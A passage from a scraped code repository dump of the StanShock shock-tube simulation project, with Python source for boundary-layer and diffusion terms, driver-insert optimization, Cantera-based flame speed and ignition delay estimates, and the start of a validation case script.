ReHT*PrHT*cfHT/2.0/(0.88+13.39*(PrHT**(2.0/3.0)-0.78)*np.sqrt(cfHT/2.0))\n return Nu\n #######################################################################\n if self.DOuter is None or self.Tw is None: \n raise Exception(\"stanShock improperly initialized for boundary layer terms\")\n nX=len(self.x)\n if self.DInner is None:\n D = self.DOuter(self.x)\n H = D\n else:\n D = self.DOuter(self.x)-self.DInner(self.x)\n H = D\n noInsert = self.DInner(self.x)==0.0\n H[noInsert]=D[noInsert]\n #compute gas properties\n T = self.thermoTable.getTemperature(self.r,self.p,self.Y)\n cp = self.thermoTable.getCp(T,self.Y)\n viscosity=np.zeros(nX)\n conductivity=np.zeros(nX)\n for i,Ti in enumerate(T):\n #compute gas properties\n self.gas.TP = Ti,self.p[i]\n if self.gas.n_species>1: self.gas.Y= self.Y[i,:]\n viscosity[i]=self.gas.viscosity\n conductivity[i]=self.gas.thermal_conductivity\n #compute non-dimensional numbers\n Re=abs(self.r*self.u*H/viscosity)\n Pr=cp*viscosity/conductivity\n #skin friction coefficent\n if self.cf is None: self.cf = skinFriction() #initialize the functor\n cf = self.cf(Re)\n #shear stress on wall\n shear=cf*(0.5*self.r*self.u**2.0)*(np.sign(self.u)) \n #Stanton number and heat transfer to wall\n Nu = nusseltNumber(Re,Pr,cf)\n qloss = Nu*conductivity/H*(T-self.Tw)\n #update\n (r,ru,E,rY)=self.primitiveToConservative(self.r,self.u,self.p,self.Y,self.gamma)\n ru -= shear*4.0/D*dt\n E -= qloss*4.0/D*dt\n (self.r,self.u,self.p,_)=self.conservativeToPrimitive(r,ru,E,rY,self.gamma) \n T = self.thermoTable.getTemperature(self.r,self.p,self.Y)\n self.gamma=self.thermoTable.getGamma(T,self.Y)\n##############################################################################\n def advanceDiffusion(self,dt):\n '''\n Method: advanceDiffusion\n ----------------------------------------------------------------------\n This method advances the diffusion terms in the axial direction\n inputs\n dt=time step\n '''\n #initialize\n r=np.ones(self.n+2*mt)\n u=np.ones(self.n+2*mt)\n p=np.ones(self.n+2*mt)\n gamma=np.ones(self.n+2*mt)\n gamma[:mt], gamma[-mt:] = self.gamma[0], self.gamma[-1]\n Y=np.ones((self.n+2*mt,self.__nsp))\n (r[mt:-mt],u[mt:-mt],p[mt:-mt], Y[mt:-mt,:],gamma[mt:-mt])= \\\n (self.r,self.u,self.p,self.Y,self.gamma)\n (r,ru,E,rY)=self.primitiveToConservative(r,u,p,Y,gamma)\n if self.thickening!=None: self.F=self.thickening(self)\n #1st stage of RK2\n rhs=self.viscousFlux(r,u,p,Y,gamma)\n r1= r +dt*rhs[:,0]\n ru1=ru+dt*rhs[:,1]\n E1= E +dt*rhs[:,2]\n rY1=rY+dt*rhs[:,mn:]\n (r1,u1,p1,Y1)=self.conservativeToPrimitive(r1,ru1,E1,rY1,gamma)\n #2nd stage of RK2\n rhs=self.viscousFlux(r1,u1,p1,Y1,gamma)\n r= 0.5*(r+ r1 +dt*rhs[:,0])\n ru= 0.5*(ru+ru1+dt*rhs[:,1])\n E= 0.5*(E +E1 +dt*rhs[:,2])\n rY= 0.5*(rY+rY1+dt*rhs[:,mn:])\n (r,u,p,Y)=self.conservativeToPrimitive(r,ru,E,rY,gamma)\n #update\n T0 = self.thermoTable.getTemperature(r[mt:-mt],p[mt:-mt],Y[mt:-mt])\n gamma[mt:-mt]=self.thermoTable.getGamma(T0,Y[mt:-mt])\n (self.r,self.u,self.p,self.Y,self.gamma)=(r[mt:-mt],u[mt:-mt],p[mt:-mt],Y[mt:-mt],gamma[mt:-mt])\n##############################################################################\n def updateProbes(self,iters):\n '''\n Method: updateProbes\n ----------------------------------------------------------------------\n This method updates all the probes to the current value\n '''\n def interpolate(xArray,qArray,x):\n '''\n function: interpolate\n ----------------------------------------------------------------------\n helper function for the probe\n '''\n xUpper = (xArray[xArray>=x])[0]\n xLower = (xArray[xArray<x])[-1]\n qUpper = (qArray[xArray>=x])[0]\n qLower = (qArray[xArray<x])[-1]\n q = qLower+(qUpper-qLower)/(xUpper-xLower)*(x-xLower)\n return q\n #update probes\n nSp = len(self.Y[0])\n YProbe= np.zeros(nSp)\n for probe in self.probes:\n if iters%(probe.skipSteps+1)==0:\n probe.t.append(self.t)\n probe.r.append((interpolate(self.x,self.r,probe.probeLocation)))\n probe.u.append((interpolate(self.x,self.u,probe.probeLocation)))\n probe.p.append((interpolate(self.x,self.p,probe.probeLocation)))\n probe.gamma.append((interpolate(self.x,self.gamma,probe.probeLocation)))\n YProbe=np.array([(interpolate(self.x,self.Y[:,kSp],probe.probeLocation))\\\n for kSp in range(nSp)])\n probe.Y.append(YProbe)\n##############################################################################\n def updateXTDiagrams(self,iters):\n '''\n Method: updateXTDiagrams\n ----------------------------------------------------------------------\n This method updates all the XT Diagrams to the current value.\n '''\n #update diagrams\n for XTDiagram in self.XTDiagrams.values():\n if iters%(XTDiagram.skipSteps+1)==0:\n self.__updateXTDiagram(XTDiagram)\n##############################################################################\n def pressureRise(self,t,p,peakWidth=10):\n '''\n Method: pressureRise\n ----------------------------------------------------------------------\n This method attemps to determine the pressure rise based on the separation \n of the first two peaks in the logarithmic derivative of the of the \n endwall pressure. This method is the most robust when only the incident\n shock provides the only peak in the logarithmic derivative of pressure.\n inputs:\n t = time [s]\n p = pressure [pa]\n peakWidth (optional) = # of samples to define a peak; this is \n also the number of the number of points\n used to defind the pressure rise region.\n output:\n dlnpdt: mean logaritmic slope in the pressure rise region.\n p5: the mean test pressure\n '''\n \n from scipy import signal\n #find the logarithmic time-derivative of pressure\n lnp = np.log(p)\n dlnpdt = np.diff(lnp)/np.diff(t)\n #use a toolbox to find the peaks of the order of the peakWidth\n peakIndices = signal.find_peaks_cwt(dlnpdt, np.array([peakWidth]))\n peakIndices=np.append(peakIndices,len(t)-2) #add final point \n #assume the top peak is the incident shock and remove peaks that come before\n peakIndices=peakIndices[np.argsort(-np.abs(dlnpdt[peakIndices]))]\n peakIndices=[peakIndex for peakIndex in peakIndices if peakIndex>=peakIndices[0]] \n lowerIndex = int(float(peakIndices[0]+peakIndices[1]-peakWidth)/2)\n upperIndex = int(float(peakIndices[0]+peakIndices[1]+peakWidth)/2)\n return np.mean(dlnpdt[lowerIndex:upperIndex]), np.mean(p[lowerIndex:upperIndex])\n \n##############################################################################\n def advanceSimulation(self,tFinal):\n '''\n Method: advanceSimulation\n ----------------------------------------------------------------------\n This method advances the simulation until the prescribed time, tFinal \n inputs\n tFinal=final time\n '''\n iters = 0\n while self.t<tFinal:\n dt=min(tFinal-self.t,self.timeStep())\n #advance advection and chemistry with Strang Splitting\n if self.reacting: self.advanceChemistry(dt/2.0)\n self.advanceAdvection(dt)\n if self.reacting: self.advanceChemistry(dt/2.0)\n #advance other terms\n if self.includeDiffusion: self.advanceDiffusion(dt)\n if self.dlnAdt!=None or self.dlnAdx!=None: self.advanceQuasi1D(dt)\n if self.includeBoundaryLayerTerms: self.advanceBoundaryLayer(dt)\n #perform other updates\n self.t+=dt\n self.updateProbes(iters)\n self.updateXTDiagrams(iters)\n iters+=1\n if self.verbose and iters%self.outputEvery==0: \n print(\"Iteration: %i. Current time: %f. Final time: %f. Time step: %e.\" \\\n % (iters,self.t,tFinal,dt))\n##############################################################################\n def optimizeDriverInsert(self,tFinal,tradeoffParam=1.0,\\\n tTest=None,p5=None,eps=1e-4, maxIter=100):\n '''\n Method: optimizeDriverInsert\n ----------------------------------------------------------------------\n This method finds the driver insert geometry, which minimizes the \n pressure rise due to boundary layer effects while obtaining the test \n pressure. The final state of this function is the optimized state.\n inputs\n tFinal = final time\n tTest = the test time. This is used for normalization in the\n cost function.\n tradeoffParam = emphasis for experiment. A higher value \n indicates that a correct test pressure is more valuable.\n p5 = test pressure\n eps = cutoff parameter for the global search. A higher value\n indicates a tighter tolerence.\n maxIter = maximum number of iterations\n '''\n from sklearn.gaussian_process.kernels import RBF #RBF is the gaussian correlation\n from sklearn.gaussian_process import GaussianProcessRegressor\n from scipy.stats import norm\n #Check for boundary layer terms\n if not self.includeBoundaryLayerTerms: \n self.includeBoundaryLayerTerms=True\n if self.verbose: print(\"WARNING: Boundary Layer Terms Included\")\n if self.DOuter is None or self.dlnAdx is None:\n raise Exception(\"Driver optimization must have DOuter and dlnAdx definied\")\n if self.DInner is not None:\n raise Exception(\"Driver optimization cannot have an inner diameter\")\n if self.p[0]<self.p[-1]:\n raise Exception(\"Optimization routine requires the driver gas to be on the left.\")\n if tTest is None:\n if self.verbose: print(\"WARNING: the normalization time is not included. Setting to the simulation time.\")\n tTest=tFinal\n if p5 is None and tradeoffParam!=0:\n if self.verbose: print(\"WARNING: the target test pressure is not provided. Determining p5 via normal shock relations\")\n g1, g4 = self.gamma[-1], self.gamma[0]\n p4op1 = self.p[0]/self.p[-1]\n r4or1 = self.r[0]/self.r[-1]\n a4oa1 = np.sqrt(g4/g1*p4op1/r4or1)\n def res(Ms1): p4op1 - (1.0+2.0*g1/(g1+1.0)*(Ms1**2.0-1.0))\\\n *(1.0-(g4-1.0)/(g4+1.0)/a4oa1*(Ms1-1.0/Ms1))**(-2.0*g4/(g4-1.0))\n Ms1 = newton(res,2.0)\n p5op1 = ((2.0*g1*Ms1**2.0-(g1-1.0))/(g1+1.0))\\\n *((-2.0*(g1-1.0)+Ms1**2.0*(3.0*g1-1.0))/(2.0+Ms1**2.0*(g1-1.0)))\n p5 = p5op1*self.p[-1]\n #Get initial state for reinitialization\n rInitial = np.copy(self.r)\n uInitial = np.copy(self.u)\n pInitial = np.copy(self.p)\n YInitial = np.copy(self.Y)\n gammaInitial = np.copy(self.gamma)\n dlnAdxInitial = self.dlnAdx\n dDOuterdx = lambda x: self.DOuter(x)/2.0*dlnAdxInitial(x,0.0) #assume temporally constant area\n #Determine geometry from pressure\n dpAbs = np.abs(pInitial[1:]-pInitial[:-1])\n xShock = max(zip(dpAbs,self.x[1:]))[1] #maximum pressure gradient corresponds to shock\n (xMin, xMax, probeLocation)= (self.x[0],xShock,self.x[-1])\n LMax = (xMax-xMin) #maximum length of constrained optimization\n DMax = min(self.DOuter(np.linspace(xMin,xMax))) #maximum diameter of constrained optimization\n smoothingLength = 10*self.dx\n if LMax<=smoothingLength:\n raise Exception(\"This calculation will likely be unstable. Refine the grid\")\n alphaMax = lambda L: 1.0-smoothingLength/L\n (LMin, DMin, alphaMin)=(smoothingLength,0.0,0.0) #no driver bound (no negative lengths)\n #calculate a smoothing length for numerical stability\n #######################################################################\n def optimizationFunction(design):\n '''\n Function: optimizationFunction\n ----------------------------------------------------------------------\n This function solves the shocktube problem and returns the absolute pressure rise. The insert geometry is assumed to\n vary linearly in area\n inputs:\n design=tuple with \n (total length of insert, maximum diameter of insert, ratio of constant portion of insert to entire insert)\n \n '''\n #determine the geometry\n (LInsert, DInsert, alpha) = design\n xIns0, xIns1 = xMin+LInsert*alpha, xMin+LInsert\n AIns0 = np.pi*DInsert**2.0/4.0\n def AInsert(x):\n AIns = np.zeros_like(x)\n inds = np.logical_and(x>=xIns0,x<xIns1)\n AIns[inds] = AIns0*(1.0-(x[inds]-xIns0)/(xIns1-xIns0))\n AIns[x<xIns0]=AIns0\n return AIns\n def dAInsertdx(x):\n dAInsdx = np.zeros_like(x)\n inds = np.logical_and(x>=xIns0,x<xIns1)\n dAInsdx[inds] = -AIns0/(xIns1-xIns0)\n return dAInsdx\n def DInner(x): return np.sqrt(4.0*AInsert(x)/np.pi)\n def dDInnerdx(x):\n dDIndx = np.zeros_like(x)\n inds = np.logical_and(x>=xIns0,x<xIns1)\n dDIndx[inds] = 0.5*(4.0*AInsert(x[inds])/np.pi)**-0.5*(4.0*dAInsertdx(x[inds])/np.pi)\n return dDIndx\n A = lambda x: np.pi/4.0*(self.DOuter(x)**2.0-DInner(x)**2.0)\n dAdx = lambda x: np.pi/2.0*(self.DOuter(x)*dDOuterdx(x)-DInner(x)*dDInnerdx(x))\n #initialize (may be at a previous state in the optimization)\n self.dlnAdx=lambda x,t: dAdx(x)/A(x)\n self.DInner = DInner\n self.r = np.copy(rInitial)\n self.u = np.copy(uInitial)\n self.p = np.copy(pInitial)\n self.Y = np.copy(YInitial)\n self.gamma = np.copy(gammaInitial)\n #delete previous probes and create an endwall probe\n self.probes=[]\n self.addProbe(probeLocation,skipSteps=0,probeName=\"endwall probe\")\n #solve\n if self.verbose: print(\"Solving Optimization. Iteration=%i, L=%.3f, D=%.3f, alpha=%.3f\" % (self.optimizationIteration,LInsert,DInsert, alpha))\n self.t=0.0\n self.advanceSimulation(tFinal)\n self.optimizationIteration+=1\n #return \n dlnpdt, p5Act = self.pressureRise(np.array(self.probes[0].t),np.array(self.probes[0].p))\n if self.verbose: print(\"Finished with optimization iteration. dlnpdt=%f, p5=%f\" % (dlnpdt,p5Act)) \n return (dlnpdt*tTest)**2.0 + tradeoffParam*(p5Act/p5-1.0)**2.0\n #######################################################################\n def midpointVector(xMin,xMax,nMidpoints): \n '''\n Function: midpointVector\n -------------------------------------------------------------------\n This function returns a vector to sample from. The vector is \n uniformly space and is non-inclusive of the bounds\n inputs:\n xMin=lower bound\n xMax=upper bound\n nMidpoints=number of sampling locations\n output:\n sample vector\n spacing (dx)\n '''\n dx = (xMax-xMin)/float(nMidpoints)\n return xMin+dx/2.0 + dx*np.arange(0,nMidpoints)\n #######################################################################\n #develop initial grid of points\n nGrid=3\n self.designs = []\n for L in midpointVector(LMin,LMax,nGrid):\n for D in midpointVector(DMin,DMax,nGrid):\n for a in midpointVector(alphaMin,alphaMax(L),nGrid):\n self.designs.append((L,D,a))\n #solve for each grid point on the initial parameter space\n nDesigns = len(self.designs)\n self.yOpt = [] #evaluated points\n if self.verbose: print(\"Solving initial grid of %i points.\" % (nDesigns))\n for iDesign, design in enumerate(self.designs): self.yOpt.append(optimizationFunction(design))\n #initialize the Gaussian Random Process as a surrogate\n kernel = 1.0*RBF(length_scale=1.0, length_scale_bounds=(1e-1, 10.0)) #iniitialize \n gp = GaussianProcessRegressor(kernel=kernel) \n #determine the grid to search over with the surrogate model\n nHat = 30\n XHat=[]\n for L in midpointVector(LMin,LMax,nHat):\n for D in midpointVector(DMin,DMax,nHat):\n for a in midpointVector(alphaMin,alphaMax(L),nHat):\n XHat.append((L,D,a))\n XHat = np.array(XHat)\n #iterate until optimum is found\n ymin = min(self.yOpt)\n if self.verbose: print(\"Finding Optimum.\")\n minImprovement=eps/10.0\n maxImprovement=minImprovement+1.0\n while ymin > eps\\\n and self.optimizationIteration < maxIter\\\n and maxImprovement > minImprovement:\n #fit the GP \n X = np.array(self.designs)\n gp.fit(X,np.array(self.yOpt))\n YHat = gp.predict(XHat)\n #find the improvement\n parameters = gp.kernel_.get_params()\n sigmaSqrd = parameters['k1__constant_value']\n R = gp.kernel_.k2 #correlation matrix\n RInv = np.linalg.inv(R(X))\n ExpImprovements = np.zeros(XHat.shape[0])\n ymin = min(self.yOpt)\n rs = R(X,Y=XHat)\n r= np.sum(RInv.dot(rs)*rs,axis=0)\n sSqrds = sigmaSqrd*(1.0-r)\n ind = sSqrds<=0\n ExpImprovements[ind] = np.maximum(ymin-YHat[ind],np.zeros_like(YHat[ind]))\n ind = sSqrds>0\n s=np.sqrt(sSqrds[ind])\n T = (ymin-YHat[ind])/s\n ExpImprovements[ind] = s*(T*norm.cdf(T)+norm.pdf(T))\n #find the maximum improvement and compute the new datum\n maxImprovement = np.max(ExpImprovements)\n self.designs.append(XHat[np.argmax(ExpImprovements),:])\n self.yOpt.append(optimizationFunction(self.designs[-1]))\n if self.verbose: print(\"Minimum of current iteration: %f. Expected improvement of the next iteration: %f\" % (ymin,maxImprovement))\n if self.optimizationIteration>= maxIter and self.verbose:\n print(\"No minimum found within tolerance.\")\n elif maxImprovement<= minImprovement and self.verbose:\n print(\"Search stopped due to no sample points found yielding enough improvement.\")\n elif self.verbose: print(\"Minimum Found. Setting to minimum state.\")\n optimizationFunction(self.designs[np.argmin(self.yOpt)])" }, { "alpha_fraction": 0.49406924843788147, "alphanum_fraction": 0.5130093693733215, "avg_line_length": 32.501651763916016, "blob_id": "1f0a515d4df5c734ad82a1250e0c964d93704d04", "content_id": "d8647c2966904fdd175bb8a9648b9844738102a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10454, "license_type": "no_license", "max_line_length": 98, "num_lines": 303, "path": "/laminarFlame/ignDelay.py", "repo_name": "MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 21 14:16:41 2016\r\nThese functions are used for the determination of the physical timescale and \r\nlengthscales\r\n@author: kgrogan\r\n\"\"\"\r\n\r\nimport cantera as ct\r\nimport numpy as np\r\n\r\ndef chemicalPower(gas,reactor):\r\n '''\r\n Function chemicalPower\r\n ======================================================================\r\n This function returns the chemical power output of the gas at the given state\r\n for a given reactor\r\n gas: cantera phase object\r\n reactor: \"hp\" or \"uv\", denotes enthalpy release or internal energy release\r\n return: qdotppp [W/m^3]\r\n '''\r\n Wi = gas.molecular_weights\r\n wdoti = gas.net_production_rates*Wi #kg/m^3\r\n if reactor.lower()=='hp': energies = (ct.gas_constant*gas.T*gas.standard_enthalpies_RT)/Wi\r\n elif reactor.lower()=='uv': energies = (ct.gas_constant*gas.T*gas.standard_int_energies_RT)/Wi\r\n else: raise Exception(\"Unknown reactor type\") \r\n return -np.sum(wdoti*energies)\r\n\r\ndef estimateFlameSpeed(gas, tMax, returnFlameThickness=False):\r\n '''\r\n Function estimateFlameSpeed\r\n ======================================================================\r\n This function estimates the flameSpeed assuming a linear increase in the \r\n temperature across the flame thickness. The formulation is given in Turns \r\n (p. 264-267)\r\n gas: cantera phase object\r\n tMax: the maximum time to integrate to; this makes use of the UV ignition\r\n computation\r\n return: flamespeed Sl\r\n '''\r\n def averageChemicalPower(gas,tMax):\r\n '''\r\n Function: averageChemicalPower\r\n ======================================================================\r\n This function returns the average chemical Power of a HP reaction with \r\n respect to the temperature\r\n '''\r\n #find the equilibrium value\r\n (T0,p0,X0)=gas.TPX;\r\n gas.equilibrate('HP');\r\n try:\r\n iH2O = gas.species_index('H2O')\r\n H2O='H2O';\r\n except:\r\n iH2O = gas.species_index('h2o') \r\n H2O='h2o'; \r\n H2Oeq=gas.Y[iH2O]\r\n gas.TPX=(T0,p0,X0);\r\n alpha=0.98; #arbitrary percentage\r\n #initiate the reactor network\r\n r = ct.IdealGasConstPressureReactor(gas);\r\n sim = ct.ReactorNet([r]);\r\n time = 0.0;\r\n qDotMean=0.0\r\n T = gas.T\r\n dt=tMax/100.0\r\n #advance simulation with guessed timestep\r\n while r.thermo[H2O].Y<(alpha*H2Oeq):\r\n time += dt\r\n sim.advance(time)\r\n qDotMean+=(gas.T-T)*chemicalPower(gas,'hp')\r\n T=gas.T\r\n return qDotMean/(gas.T-T0)\r\n \r\n Tu,rhou,Xu = gas.TDX\r\n p = gas.P\r\n qDotMean = averageChemicalPower(gas,tMax)\r\n Tb, rhob, Xb=gas.TDX\r\n XMean, TMean = (Xu+Xb)/2.0, (Tb+Tu)/2.0\r\n gas.TPX = TMean,p,XMean\r\n k = gas.thermal_conductivity\r\n cp = gas.cp_mass\r\n alpha = k/(rhou*cp)\r\n DeltaH=rhou*cp*(Tb-Tu)\r\n Sl = (2.0*alpha*qDotMean/DeltaH)**0.5\r\n delta = 2.0*alpha/Sl\r\n if returnFlameThickness: return Sl, delta\r\n return Sl\r\ndef estimateFlameThickness(gas, tMax):\r\n '''\r\n Function estimateFlameThickness\r\n ======================================================================\r\n This function estimates the thickness assuming a linear increase in the \r\n temperature across the flame thickness. The formulation is given in Turns \r\n (p. 264-267)\r\n gas: cantera phase object\r\n tMax: the maximum time to integrate to; this makes use of the UV ignition\r\n computation\r\n return: flame thickness\r\n '''\r\n Sl, delta = estimateFlameSpeed(gas, tMax,returnFlameThickness=True)\r\n print(\"The estimated flame speed is {0:.2f}\".format(delta))\r\n return delta\r\n \r\ndef flameSpeed(gas,flameThickness,returnFlame=False):\r\n '''\r\n Function flameSpeed\r\n ======================================================================\r\n This function returns the flame speed for a gas. The cantera implementation\r\n is quite unstable. Therefore, this function is not very useful\r\n gas: cantera phase object at the desired state\r\n flameThickness: a guess on the flame thickness\r\n return: Sl\r\n '''\r\n #solution parameters\r\n width = 5.0*flameThickness # m\r\n loglevel = 1 # amount of diagnostic output (0 to 8)\r\n # Flame object\r\n try:\r\n f = ct.FreeFlame(gas, width=width)\r\n except:\r\n f = ct.FreeFlame(gas)\r\n f.set_refine_criteria(ratio=3, slope=0.06, curve=0.12)\r\n f.show_solution()\r\n f.transport_model = 'Mix'\r\n try:\r\n f.solve(loglevel=loglevel, auto=True)\r\n except:\r\n f.solve(loglevel=loglevel)\r\n f.show_solution()\r\n print('mixture-averaged flamespeed = {0:7f} m/s'.format(f.u[0]))\r\n #f.show_solution()\r\n if returnFlame:\r\n return f.u[0], f\r\n else: \r\n return f.u[0]\r\n#==============================================================================\r\n# \r\n# def ignUV(gas,tmax,N):\r\n# '''\r\n# Function ignUV\r\n# ======================================================================\r\n# This function returns the ignition delay for a gas\r\n# gas: cantera phase object at the desired state\r\n# tmax: initial guess for endtime of the simulation\r\n# N: the number of steps in determining dt\r\n# return: tign\r\n# '''\r\n# (T,p,X)=gas.TPX;\r\n# gas.equilibrate('UV');\r\n# try:\r\n# iH2O = gas.species_index('H2O')\r\n# H2O='H2O'\r\n# except:\r\n# iH2O = gas.species_index('h2o') \r\n# H2O='h2o'\r\n# H2Oeq=gas.Y[iH2O]\r\n# gas.TPX=(T,p,X);\r\n# dt = tmax/float(N);\r\n# alpha=0.95; #arbitrary percentage\r\n# #initiate the reactor network\r\n# T0,p0,Y0 = gas.TPY\r\n# #advance simulation with guessed timestep\r\n# it, itMin, itMax=0, 64, 1028\r\n# while True:\r\n# if it==0:\r\n# gas.TPY=T0, p0, Y0\r\n# r = ct.IdealGasReactor(gas);\r\n# sim = ct.ReactorNet([r]);\r\n# t0 = 0.0\r\n# time = t0\r\n# it+=1\r\n# print(dt,gas.TPY,time)\r\n# elif (r.thermo[H2O].Y>=(alpha*H2Oeq)) and it>=itMin:\r\n# break\r\n# elif (r.thermo[H2O].Y>=(alpha*H2Oeq)) and it<itMin:\r\n# #not enough data points; resolve more\r\n# it=0\r\n# dt/=2.0\r\n# elif it>itMax:\r\n# #too resolved; increase time step\r\n# it=0\r\n# dt*=2.0\r\n# else:\r\n# time += dt\r\n# sim.advance(time)\r\n# it+=1\r\n# return time\r\n#==============================================================================\r\ndef ignUVTimeScales(gas,dt):\r\n '''\r\n Function ignUVAll\r\n ======================================================================\r\n This function returns the ignition delay and excitation time for the \r\n reactor\r\n gas: cantera phase object\r\n dt: initial guess for the timestep\r\n return: (tign,texcite)\r\n '''\r\n def findTimescales(t,qdot):\r\n '''\r\n Function findTimescales\r\n ======================================================================\r\n This function determines the ignition delay and the excitation time \r\n (using 5% of qdotMax).\r\n t: time \r\n qdot: volumetric chemical energy release\r\n return: (tIgn,tExcite,resolution): resolution is given in number\r\n of timesteps between tIgn and the start of tExcitement\r\n '''\r\n qdotMax=np.max(qdot)\r\n k = len(qdot)-1\r\n kMax=0\r\n kExcite = 0\r\n while k>=0:\r\n if qdot[k]==qdotMax: kMax=k\r\n if kMax!=0 and qdot[k]<=qdotMax*0.05:\r\n kExcite=k\r\n break\r\n k-=1\r\n if kMax==0: Exception(\"Failed to find the excitation time\")\r\n tExcite = t[kMax]-t[kExcite]\r\n tIgn=t[kMax]\r\n return tIgn,tExcite,kMax-kExcite, kExcite\r\n \r\n #find the equilibrium\r\n (T,p,X)=gas.TPX;\r\n gas.equilibrate('UV');\r\n try:\r\n iH2O = gas.species_index('H2O')\r\n H2O='H2O';\r\n except:\r\n iH2O = gas.species_index('h2o') \r\n H2O='h2o'; \r\n H2Oeq=gas.Y[iH2O]\r\n gas.TPX=(T,p,X);\r\n alpha=0.95; #arbitrary percentage\r\n #initiate the reactor network\r\n T0,p0,Y0 = gas.TPY\r\n qdot0 = chemicalPower(gas,'uv')\r\n #advance simulation with guessed timestep\r\n it, itMin, itMax=0, 64, 1028\r\n while True:\r\n if it==0:\r\n gas.TPY=T0, p0, Y0\r\n r = ct.IdealGasReactor(gas);\r\n sim = ct.ReactorNet([r]);\r\n t0 = 0.0\r\n time = t0\r\n t=[t0]\r\n T=[T0]\r\n p=[p0]\r\n Y=[Y0]\r\n qdot=[qdot0]\r\n it+=1\r\n elif (r.thermo[H2O].Y>=(alpha*H2Oeq)) and it>=itMin:\r\n break\r\n elif (r.thermo[H2O].Y>=(alpha*H2Oeq)) and it<itMin:\r\n #not enough data points; resolve more\r\n it=0\r\n dt/=2.0\r\n elif it>itMax:\r\n #too resolved; increase time step\r\n it=0\r\n dt*=2.0\r\n else:\r\n time += dt\r\n sim.advance(time)\r\n t.append(time)\r\n T.append(gas.T)\r\n p.append(gas.P)\r\n Y.append(gas.Y)\r\n qdot.append(chemicalPower(gas,'uv'))\r\n it+=1\r\n \r\n #find the ignition delay and the excitement time\r\n tIgn,tExcite,resolution, exciteIndex = findTimescales(t,qdot)\r\n N=50\r\n while resolution < 50: #zoom in on excitement time\r\n N*=2 #enforced resolution\r\n kStart = max(exciteIndex-resolution,0)\r\n gas.TPY = T[kStart],p[kStart],Y[kStart]\r\n r = ct.IdealGasReactor(gas);\r\n sim = ct.ReactorNet([r]);\r\n time=0.0\r\n tInitial = t[kStart]\r\n tFinal = tIgn+2*tExcite #factor of two to make this symmetrical\r\n dt=(tFinal-tInitial)/float(N)\r\n t=[tInitial]\r\n T=[gas.T]\r\n p=[gas.P]\r\n Y=[gas.Y]\r\n qdot=[chemicalPower(gas,'uv')]\r\n while time<(tFinal-tInitial):\r\n time += dt\r\n sim.advance(time)\r\n t.append(time+tInitial)\r\n T.append(gas.T)\r\n p.append(gas.P)\r\n Y.append(gas.Y)\r\n qdot.append(chemicalPower(gas,'uv'))\r\n tIgn,tExcite,resolution, exciteIndex = findTimescales(t,qdot)\r\n return tIgn,tExcite\r\n" }, { "alpha_fraction": 0.5549034476280212, "alphanum_fraction": 0.6197683215141296, "avg_line_length": 30.134614944458008, "blob_id": "bcedb41894d27c19a357a7f271b21a4e7ff893c4", "content_id": "45640ceedfc952f8d4320bb6a24d652013e312bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6475, "license_type": "no_license", "max_line_length": 134, "num_lines": 208, "path": "/validationCases/case4/case4.py", "repo_name": "MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 15 14:33:36 2017\n\n@author: kgrogan\n\"\"\"\nimport sys; sys.path.append('../../')\nfrom stanShock import stanShock\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nimport time\nimport cantera as ct\nimport imageio\n\n#=============================================================================\ndef getPressureData(fileName):\n '''\n function getPressureData\n ==========================================================================\n This function returns the formatted pressure vs time data\n Inputs:\n fileNamefile name of csv data\n Outputs: \n t = time [s]\n p = pressure [Pa]\n ''' \n #parameters\n tLower, tUpper = 0.0, 0.05 #in [s]\n pLower, pUpper = 0.0, 1.032e5*5.0 #in [Pa]\n \n #read image file\n imageData = imageio.imread(fileName)\n imageData=imageData[-1::-1,:]\n imageData[imageData<128]=1.0\n imageData[imageData>=128]=0.0\n imageData=imageData[:,np.sum(imageData,axis=0)!=0]\n nP, nT = imageData.shape\n \n #extract pressure and time data\n p = np.linspace(pLower,pUpper,nP).reshape((nP,1))\n t = np.linspace(tLower,tUpper,nT).reshape((nT,1))\n p = imageData*p\n p = np.sum(p,axis=0)/np.sum(imageData,axis=0)\n return (t,p)\n\n#=============================================================================\n#provided condtions for Case4\nfileName = \"case4.png\"\nT1 = T4 = 292.05\np1 = 390.0*133.322\np4 = 82.0*6894.76*0.9 \ntFinal=60e-3\n\n#plotting parameters\nfontsize=12\n\n#provided geometry\nDDriven = 4.5*0.0254\nDDriver = DDriven\nLDriver = 142.0*0.0254\nLDriven = 9.73\n\n#Set up gasses and determine the initial pressures\nu1 = 0.0;\nu4 = 0.0; #initially 0 velocity\nmech=\"N2O2HeAr.xml\"\ngas1 = ct.Solution(mech)\ngas4 = ct.Solution(mech)\nT4 = T1; #assumed\ngas1.TPX = T1,p1,\"O2:0.21,AR:0.79\" \ngas4.TPX = T4,p4,\"HE:0.25,N2:0.75\" \n\n#set up geometry\nnX = 1000 #mesh resolution\nxLower = -LDriver\nxUpper = LDriven\nxShock = 0.0\ngeometry=(nX,xLower,xUpper,xShock)\n#arrays from HTGL\nxInterp = -0.0254*np.array([142,140,130,120,110,100,90,80,70,60,50,40,36,37,30,20,10,0])\ndInterp = 0.0254*np.array([3.25,3.21,3.01,2.81,2.61,2.41,2.21,2.01,1.81,1.61,1.41,1.21,1.13,0.00,0.00,0.00,0.00,0.00])\ndDInterpdxInterp = (dInterp[1:]-dInterp[:-1])/(xInterp[1:]-xInterp[:-1])\ndef DOuter(x): \n nX = x.shape[0]\n return DDriven*np.ones(nX)\ndef DInner(x):\n diameter = np.interp(x,xInterp,dInterp)\n return diameter\ndef dDOuterdx(x): return np.zeros(nX)\ndef dDInnerdx(x):\n dDiameterdx = np.interp(x,xInterp[:-1],dDInterpdxInterp)\n return dDiameterdx\nA = lambda x: np.pi/4.0*(DOuter(x)**2.0-DInner(x)**2.0)\ndAdx = lambda x: np.pi/2.0*(DOuter(x)*dDOuterdx(x)-DInner(x)*dDInnerdx(x))\ndlnAdx = lambda x,t: dAdx(x)/A(x)\n\n#solve with boundary layer model\nboundaryConditions=['reflecting','reflecting']\nstate1 = (gas1,u1)\nstate4 = (gas4,u4)\nssbl = 